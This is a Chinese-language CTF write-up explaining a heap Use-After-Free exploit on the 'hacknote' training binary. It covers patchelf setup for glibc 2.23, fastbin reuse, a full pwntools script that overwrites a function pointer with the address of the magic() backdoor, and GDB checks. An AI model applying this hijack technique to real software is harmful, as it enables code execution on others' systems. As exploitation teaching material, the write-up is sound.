「PWN」堆的第一次尝试 - UseAfterFree
磨磨蹭蹭这么久也总算是入 HEAP 的坑了
感谢 Ayoung 不开之恩(bushi)
先来看一下最简单的Use After Free
利用,对堆的知识需求很低。明天估计会写一个Double Free + Unlink
的
用的是CTF-WIKI
的原题hacknote
这里提一下中途遇到的坑。libc-2.31
对堆的回收机制有了不少改变,因此在一开始根据CTF-WIKI
的方法调试的时候行不通。因此写一下更换动态解释器的方法。
首先需要两个工具,glibc-all-in-all和patchelf
安装方法自行查看README.md
不多赘述
下载对应的libc
后,使用patchelf
对ELF
文件进行解释
patchelf --set-interpreter /path/to/libc/libc-2.23.so --set-rpath /path/to/libc/ ./binary_file_name
# For Example: patchelf --set-rpath /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ --set-interpreter /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./use_after_free
Use After Free
引起这个漏洞的原因主要是dangling pointer
—— 在free()
后内存指针没有被设置为 NULL。
如果此时其他代码修改了这段内存的内容的话,再次使用这段内存就会出现问题。
Source
gcc -m64 -fno-stack-protector -no-pie -z execstack -g use_after_free.c -o use_after_free
# Make
保护全关、64 位
程序定义了一个结构体,定义了一个printnote
的指针指向print_note_content
方法以及一个content
的指针。
看一下add_note()
的实现:首先malloc
了一个struct note
,也就是 16 字节的堆。在这之后,为content
申请了size
字节的堆。
注意看del_note()
。在删除节点后,count
没有变化——这一方面限制了我们add_note()
的次数,另一方面也给我们的漏洞利用提供了便利。同时,我们可以发现free
之后notelist[idx]
并没有置为NULL
,这便给我们的Use After Free
带来了可能。
可以看出,print_note()
调用了notelist[idx]->printnote(notelist[idx])
方法,假如我们能把notelist[idx]->printnote
的内存修改了的话,也就能做到执行后门函数的效果了。
Exploit
因为struct note
是固定0x20
大小的chunk
,所以我们主要思考fastbins
相关的利用
因为fastbins
维护了0x20~0x80
的数个链表,且有后进先出的机制。我们不妨这样思考:
倘若我们申请两个0x20
的 note 记为note1
、note2
,此时我们的程序应该有 4 个堆——两个大小为0x20
的note1_struct_note
和note2_struct_note
以及两个大小为0x30
的note1
和note2
(不计算PREV_IN_USE
的一字节)
这时我们将两个 note 全部释放,则fastbisn
中此时应该是这样的
fastbins:
0x20: note2_struct_note_addr -> note1_struct_note_addr
0x30: note2 -> note1
如果我们此时再申请一个0x10
的 notenote3
呢?由fastbins
的回收利用机制我们可以想到
第一个note2_struct_note_addr
被分配给了note3_struct_note_addr
,而第二个note1_struct_note_addr
则被分配给了我们可控的note3
这时,如果我们将note3
的content
改为后门函数,并执行print_note(0)
——如你所料的,后门函数被执行了。
from pwn import *
sh = process(["./use_after_free"])
def add_note(size, content):
sh.recvuntil(b"Your choice :")
sh.sendline(b"1")
sh.recvuntil(b"Note size :")
sh.sendline(str(size).encode())
sh.recvuntil(b"Content :")
sh.sendline(content)
def delete_note(index):
sh.recvuntil(b"Your choice :")
sh.sendline(b"2")
sh.recvuntil(b"Index :")
sh.sendline(f"{index}".encode())
def print_note(index):
sh.recvuntil(b"Your choice :")
sh.sendline(b"3")
sh.recvuntil(b"Index :")
sh.sendline(f"{index}".encode())
# gdb.attach(sh)
add_note(32, b"aaaa")
add_note(32, b"bbbb")
delete_note(0)
delete_note(1)
add_note(16, p64(0x4015f9)) # addr of magic()
print_note(0)
sh.interactive()
GDB
以上只是理论知识,没有GDB
实际调过确实是一知半解。
根据上面的 exp,我们分别在第二个add_note()
和第二个delete_note()
以及最后一个add_note()
下调试看看
0x401256
是print_note_content()
的地址,0xd04030
和0xd04080
是content
的地址
可以看出,不同大小的链表进入了不同的fastbins
中。
最后一次添加之后,我们发现:fastbins
中的两个0x20
大小的堆被回收利用了!且作为content
的0x4015f9
的后门函数地址已经写到了一开始print_note_content()
的地方
此时运行print_note()
,后门函数便执行了